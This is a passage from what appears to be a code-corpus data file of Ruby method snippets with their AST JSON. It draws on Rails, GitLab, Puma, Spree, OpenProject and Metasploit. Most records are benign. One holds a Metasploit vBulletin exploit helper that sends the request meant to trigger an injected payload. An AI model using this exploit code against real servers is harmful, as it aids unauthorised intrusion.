",\"children\":[{\"type\":\"sym\",\"children\":[\"cve\"]},{\"type\":\"str\",\"children\":[\"CVE-2012-2695\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"versions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"2.0.0\"]},{\"type\":\"str\",\"children\":[\"2.3.14\"]},{\"type\":\"str\",\"children\":[\"2.3.15\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"3.0.0\"]},{\"type\":\"str\",\"children\":[\"3.0.13\"]},{\"type\":\"str\",\"children\":[\"3.0.14\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"3.1.0\"]},{\"type\":\"str\",\"children\":[\"3.1.5\"]},{\"type\":\"str\",\"children\":[\"3.1.6\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"3.2.0\"]},{\"type\":\"str\",\"children\":[\"3.2.5\"]},{\"type\":\"str\",\"children\":[\"3.2.6\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"str\",\"children\":[\"https://groups.google.com/d/topic/rubyonrails-security/l4L0TEVAz1k/discussion\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cve\"]},{\"type\":\"str\",\"children\":[\"CVE-2012-5664\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"versions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"2.0.0\"]},{\"type\":\"str\",\"children\":[\"2.3.14\"]},{\"type\":\"str\",\"children\":[\"2.3.15\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"3.0.0\"]},{\"type\":\"str\",\"children\":[\"3.0.17\"]},{\"type\":\"str\",\"children\":[\"3.0.18\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"3.1.0\"]},{\"type\":\"str\",\"children\":[\"3.1.8\"]},{\"type\":\"str\",\"children\":[\"3.1.9\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"3.2.0\"]},{\"type\":\"str\",\"children\":[\"3.2.9\"]},{\"type\":\"str\",\"children\":[\"3.2.18\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"str\",\"children\":[\"https://groups.google.com/d/topic/rubyonrails-security/DCNTNp_qjFM/discussion\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cve\"]},{\"type\":\"str\",\"children\":[\"CVE-2013-0155\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"versions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"2.0.0\"]},{\"type\":\"str\",\"children\":[\"2.3.15\"]},{\"type\":\"str\",\"children\":[\"2.3.16\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"3.0.0\"]},{\"type\":\"str\",\"children\":[\"3.0.18\"]},{\"type\":\"str\",\"children\":[\"3.0.19\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"3.1.0\"]},{\"type\":\"str\",\"children\":[\"3.1.9\"]},{\"type\":\"str\",\"children\":[\"3.1.10\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"3.2.0\"]},{\"type\":\"str\",\"children\":[\"3.2.10\"]},{\"type\":\"str\",\"children\":[\"3.2.11\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"str\",\"children\":[\"https://groups.google.com/d/topic/rubyonrails-security/c7jT-EeN9eI/discussion\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cve\"]},{\"type\":\"str\",\"children\":[\"CVE-2016-6317\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"versions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"4.2.0\"]},{\"type\":\"str\",\"children\":[\"4.2.7.0\"]},{\"type\":\"str\",\"children\":[\"4.2.7.1\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"str\",\"children\":[\"https://groups.google.com/d/msg/ruby-security-ann/WccgKSKiPZA/9DrsDVSoCgAJ\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lts_version?\",{\"type\":\"str\",\"children\":[\"2.3.18.6\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issues\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cve\"]},{\"type\":\"str\",\"children\":[\"CVE-2013-6417\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"versions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"2.0.0\"]},{\"type\":\"str\",\"children\":[\"3.2.15\"]},{\"type\":\"str\",\"children\":[\"3.2.16\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"4.0.0\"]},{\"type\":\"str\",\"children\":[\"4.0.1\"]},{\"type\":\"str\",\"children\":[\"4.0.2\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"str\",\"children\":[\"https://groups.google.com/d/msg/ruby-security-ann/niK4drpSHT4/g8JW8ZsayRkJ\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker\"]},\"config\"]},\"has_gem?\",{\"type\":\"sym\",\"children\":[\"pg\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issues\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cve\"]},{\"type\":\"str\",\"children\":[\"CVE-2014-3482\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"versions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"2.0.0\"]},{\"type\":\"str\",\"children\":[\"2.9.9\"]},{\"type\":\"str\",\"children\":[\"3.2.19\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"3.0.0\"]},{\"type\":\"str\",\"children\":[\"3.2.18\"]},{\"type\":\"str\",\"children\":[\"3.2.19\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"4.0.0\"]},{\"type\":\"str\",\"children\":[\"4.0.6\"]},{\"type\":\"str\",\"children\":[\"4.0.7\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"4.1.0\"]},{\"type\":\"str\",\"children\":[\"4.1.2\"]},{\"type\":\"str\",\"children\":[\"4.1.3\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"str\",\"children\":[\"https://groups.google.com/d/msg/rubyonrails-security/wDxePLJGZdI/WP7EasCJTA4J\"]}]}]}]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cve\"]},{\"type\":\"str\",\"children\":[\"CVE-2014-3483\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"versions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"2.0.0\"]},{\"type\":\"str\",\"children\":[\"2.9.9\"]},{\"type\":\"str\",\"children\":[\"3.2.19\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"3.0.0\"]},{\"type\":\"str\",\"children\":[\"3.2.18\"]},{\"type\":\"str\",\"children\":[\"3.2.19\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"4.0.0\"]},{\"type\":\"str\",\"children\":[\"4.0.6\"]},{\"type\":\"str\",\"children\":[\"4.0.7\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"4.1.0\"]},{\"type\":\"str\",\"children\":[\"4.1.2\"]},{\"type\":\"str\",\"children\":[\"4.1.3\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"str\",\"children\":[\"https://groups.google.com/d/msg/rubyonrails-security/wDxePLJGZdI/WP7EasCJTA4J\"]}]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issues\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cve_issue\"]}]},{\"type\":\"send\",\"children\":[null,\"cve_warning_for\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cve_issue\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"versions\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cve_issue\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"cve\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cve_issue\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"url\"]}]}]}]}]}]}","id":"5128cbbb-2450-4005-9f1f-795be32ce34a"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_widget.rb","start_line":446,"raw_source":"def self.available_for_all_roles\n    all.select { |w| w.visibility.key?(:roles) && w.visibility[:roles].include?(\"_ALL_\") }\n  end","complexity_score":11.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"available_for_all_roles\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"all\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"w\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w\"]},\"visibility\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"roles\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w\"]},\"visibility\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"roles\"]}]},\"include?\",{\"type\":\"str\",\"children\":[\"_ALL_\"]}]}]}]}]}","id":"c61db0a1-1de0-430b-8577-9c99a1339c3b"}
{"repo_name":"rails","file_path":"./repos/rails/tools/cve_announcement.rb","start_line":20,"raw_source":"def patches_section(advisory)\n  desc = +\"\"\n  advisory[:vulnerabilities].each do |vuln|\n    patched_versions = vuln[:patched_versions]\n    commit = IO.popen(%W[git log --format=format:%H --grep=#{advisory[:cve_id]} v#{patched_versions}], &:read)\n    raise \"git log failed\" unless $?.success?\n    branch = patched_versions[/^\\d+\\.\\d+/]\n    desc << \"* #{branch} - https://github.com/rails/rails/commit/#{commit}.patch\\n\"\n  end\n  [\"Patches\", desc]\nend","complexity_score":20.1,"ast_json":"{\"type\":\"def\",\"children\":[\"patches_section\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"advisory\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"desc\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"+@\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"advisory\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"vulnerabilities\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"vuln\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"patched_versions\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"patched_versions\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"commit\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IO\"]},\"popen\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"git\"]},{\"type\":\"str\",\"children\":[\"log\"]},{\"type\":\"str\",\"children\":[\"--format=format:%H\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"--grep=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"advisory\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"cve_id\"]}]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"v\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"patched_versions\"]}]}]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"read\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$?\"]},\"success?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"git log failed\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"branch\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"patched_versions\"]},\"[]\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^\\\\d+\\\\.\\\\d+\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"desc\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"* \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"branch\"]}]},{\"type\":\"str\",\"children\":[\" - https://github.com/rails/rails/commit/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commit\"]}]},{\"type\":\"str\",\"children\":[\".patch\\n\"]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Patches\"]},{\"type\":\"lvar\",\"children\":[\"desc\"]}]}]}]}","id":"74422fed-6b50-4b18-95a7-23b86ebeac7a"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_persistent.rb","start_line":228,"raw_source":"def test_keepalive_doesnt_starve_clients\n    send_http @valid_request\n\n    c2 = send_http @valid_request\n\n    assert c2.wait_readable(1), \"2nd request starved\"\n\n    response = c2.read_response\n\n    assert_equal \"HTTP/1.1 200 OK\\r\\nX-Header: Works\\r\\nContent-Length: 5\\r\\n\\r\\n\" \\\n      \"Hello\", response\n  end","complexity_score":8.55,"ast_json":"{\"type\":\"def\",\"children\":[\"test_keepalive_doesnt_starve_clients\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"send_http\",{\"type\":\"ivar\",\"children\":[\"@valid_request\"]}]},{\"type\":\"lvasgn\",\"children\":[\"c2\",{\"type\":\"send\",\"children\":[null,\"send_http\",{\"type\":\"ivar\",\"children\":[\"@valid_request\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c2\"]},\"wait_readable\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"str\",\"children\":[\"2nd request starved\"]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c2\"]},\"read_response\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"HTTP/1.1 200 OK\\r\\nX-Header: Works\\r\\nContent-Length: 5\\r\\n\\r\\n\"]},{\"type\":\"str\",\"children\":[\"Hello\"]}]},{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}]}","id":"dd751334-4d6e-43f9-8b63-a0bc87711b1a"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/render_test.rb","start_line":348,"raw_source":"def test_render_partial_with_hyphen_and_invalid_option_as\n    e = assert_raises(ArgumentError) { @view.render(partial: \"test/a-in\", as: \"a-in\", object: nil) }\n    assert_equal \"The value (a-in) of the option `as` is not a valid Ruby identifier; \" \\\n      \"make sure it starts with lowercase letter, \" \\\n      \"and is followed by any combination of letters, numbers and underscores.\", e.message\n  end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_render_partial_with_hyphen_and_invalid_option_as\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"e\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@view\"]},\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"partial\"]},{\"type\":\"str\",\"children\":[\"test/a-in\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"as\"]},{\"type\":\"str\",\"children\":[\"a-in\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"object\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The value (a-in) of the option `as` is not a valid Ruby identifier; \"]},{\"type\":\"str\",\"children\":[\"make sure it starts with lowercase letter, \"]},{\"type\":\"str\",\"children\":[\"and is followed by any combination of letters, numbers and underscores.\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}","id":"6e0eeb5a-1760-4671-b745-f1764b1ace6b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/vbulletin_getindexablecontent.rb","start_line":336,"raw_source":"def exec_payload(rest_url)\n    print_status(\"Sending request to '#{normalize_uri(target_uri.path, rest_url)}' to execute payload.\")\n    res = send_request_cgi({\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, rest_url)\n    })\n\n    unless res && res.code == 200\n      return nil\n    end\n\n    print_good('Request made succesfully, payload should be executing now.')\n\n    true\n  end","complexity_score":17.13,"ast_json":"{\"type\":\"def\",\"children\":[\"exec_payload\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rest_url\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending request to '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"lvar\",\"children\":[\"rest_url\"]}]}]},{\"type\":\"str\",\"children\":[\"' to execute payload.\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"lvar\",\"children\":[\"rest_url\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Request made succesfully, payload should be executing now.\"]}]},{\"type\":\"true\",\"children\":[]}]}]}","id":"2c048863-0a12-411b-ae68-0b0093959069"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/return_item.rb","start_line":186,"raw_source":"def persist_acceptance_status_errors\n      update(acceptance_status_errors: validator.errors)\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"persist_acceptance_status_errors\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"acceptance_status_errors\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"validator\"]},\"errors\"]}]}]}]}]}","id":"939606a3-82c8-412f-8393-a88ee910bea2"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/incoming_emails/handlers/base.rb","start_line":143,"raw_source":"def extract_keyword!(text, attr, format)\n      keys = human_attr_translations(attr)\n        .compact_blank\n        .uniq\n        .map { |k| Regexp.escape(k) }\n\n      value = nil\n\n      text.gsub!(/^(#{keys.join('|')})[ \\t]*:[ \\t]*(?<value>#{format || '.+'})\\s*$/i) do |_|\n        value = Regexp.last_match[:value]&.strip\n\n        \"\"\n      end\n\n      value\n    end","complexity_score":19.3,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_keyword!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]},{\"type\":\"arg\",\"children\":[\"attr\"]},{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"keys\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"human_attr_translations\",{\"type\":\"lvar\",\"children\":[\"attr\"]}]},\"compact_blank\"]},\"uniq\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"escape\",{\"type\":\"lvar\",\"children\":[\"k\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"join\",{\"type\":\"str\",\"children\":[\"|\"]}]}]},{\"type\":\"str\",\"children\":[\")[ \\\\t]*:[ \\\\t]*(?<value>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},{\"type\":\"str\",\"children\":[\".+\"]}]}]},{\"type\":\"str\",\"children\":[\")\\\\s*$\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"last_match\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"value\"]}]},\"strip\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}","id":"4823f698-20f4-4d8b-9e98-54cc52290067"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/mssql/client.rb","start_line":540,"raw_source":"def mssql_ssl_send_recv(req, tdsproxy, timeout=15, check_status=true)\n          tdsproxy.send_recv(req)\n        end","complexity_score":3.25,"ast_json":"{\"type\":\"def\",\"children\":[\"mssql_ssl_send_recv\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"req\"]},{\"type\":\"arg\",\"children\":[\"tdsproxy\"]},{\"type\":\"optarg\",\"children\":[\"timeout\",{\"type\":\"int\",\"children\":[15]}]},{\"type\":\"optarg\",\"children\":[\"check_status\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tdsproxy\"]},\"send_recv\",{\"type\":\"lvar\",\"children\":[\"req\"]}]}]}","id":"2ff3ec78-2da5-419d-a6ca-0fbd76092e4c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/system_check/app/active_users_check.rb","start_line":8,"raw_source":"def multi_check\n        active_users = User.active.count\n        color_status = :red\n        color_status = :green if active_users > 0\n        $stdout.puts Rainbow(active_users.to_s).color(color_status)\n      end","complexity_score":12.5,"ast_json":"{\"type\":\"def\",\"children\":[\"multi_check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"active_users\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"active\"]},\"count\"]}]},{\"type\":\"lvasgn\",\"children\":[\"color_status\",{\"type\":\"sym\",\"children\":[\"red\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"active_users\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"color_status\",{\"type\":\"sym\",\"children\":[\"green\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$stdout\"]},\"puts\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Rainbow\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"active_users\"]},\"to_s\"]}]},\"color\",{\"type\":\"lvar\",\"children\":[\"color_status\"]}]}]}]}]}","id":"283a344b-a743-4ef5-8b49-f0bb3073d52a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250916221000_create_temporary_notes_archived_table.rb","start_line":8,"raw_source":"def up\n    # Create table with column definitions, defaults, and identity\n    # INCLUDING CONSTRAINTS includes NOT NULL constraints but not CHECK constraints\n    execute <<~SQL\n      CREATE TABLE IF NOT EXISTS notes_archived (\n        LIKE notes INCLUDING DEFAULTS INCLUDING CONSTRAINTS INCLUDING IDENTITY INCLUDING COMMENTS\n      );\n    SQL\n\n    # Explicitly add primary key constraint (INCLUDING CONSTRAINTS doesn't copy PKs)\n    execute <<~SQL\n      ALTER TABLE notes_archived ADD PRIMARY KEY (id);\n    SQL\n\n    # Manually add the CHECK constraint that ensures at least one parent reference exists\n    # This constraint exists on the notes table and should be maintained for archived notes\n    execute <<~SQL\n      ALTER TABLE notes_archived\n      ADD CONSTRAINT check_notes_archived_has_parent\n      CHECK (num_nonnulls(namespace_id, organization_id, project_id) >= 1)\n      NOT VALID;\n    SQL\n\n    # Add archived_at column using Rails helper instead of raw SQL\n    add_column :notes_archived, :archived_at, :timestamptz, default: -> { 'CURRENT_TIMESTAMP' }, if_not_exists: true\n\n    # Add only essential indexes for the migration work\n    add_concurrent_index :notes_archived, :namespace_id  # For the backfill queries\n    add_concurrent_index :notes_archived, :project_id    # Required for FK\n    add_concurrent_index :notes_archived, :review_id     # Required for FK\n\n    # Add text limits matching the original notes table\n    add_text_limit :notes_archived, :note, 1_000_000\n    add_text_limit :notes_archived, :st_diff, 1_000_000\n    add_text_limit :notes_archived, :position, 50_000\n    add_text_limit :notes_archived, :original_position, 50_000\n    add_text_limit :notes_archived, :note_html, 1_000_000\n    add_text_limit :notes_archived, :change_position, 50_000\n\n    # Add only the foreign key constraints that exist on the original notes table\n    add_concurrent_foreign_key :notes_archived, :projects, column: :project_id, on_delete: :cascade\n    add_concurrent_foreign_key :notes_archived, :reviews, column: :review_id, on_delete: :nullify\n    add_concurrent_foreign_key :notes_archived, :namespaces, column: :namespace_id, on_delete: :cascade\n\n    # Add comment indicating temporary nature\n    execute <<~SQL\n      COMMENT ON TABLE notes_archived IS\n      'Temporary table for storing orphaned notes during namespace_id backfill. To be dropped after migration completion.';\n    SQL\n  end","complexity_score":20.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"CREATE TABLE IF NOT EXISTS notes_archived (\\n\"]},{\"type\":\"str\",\"children\":[\"  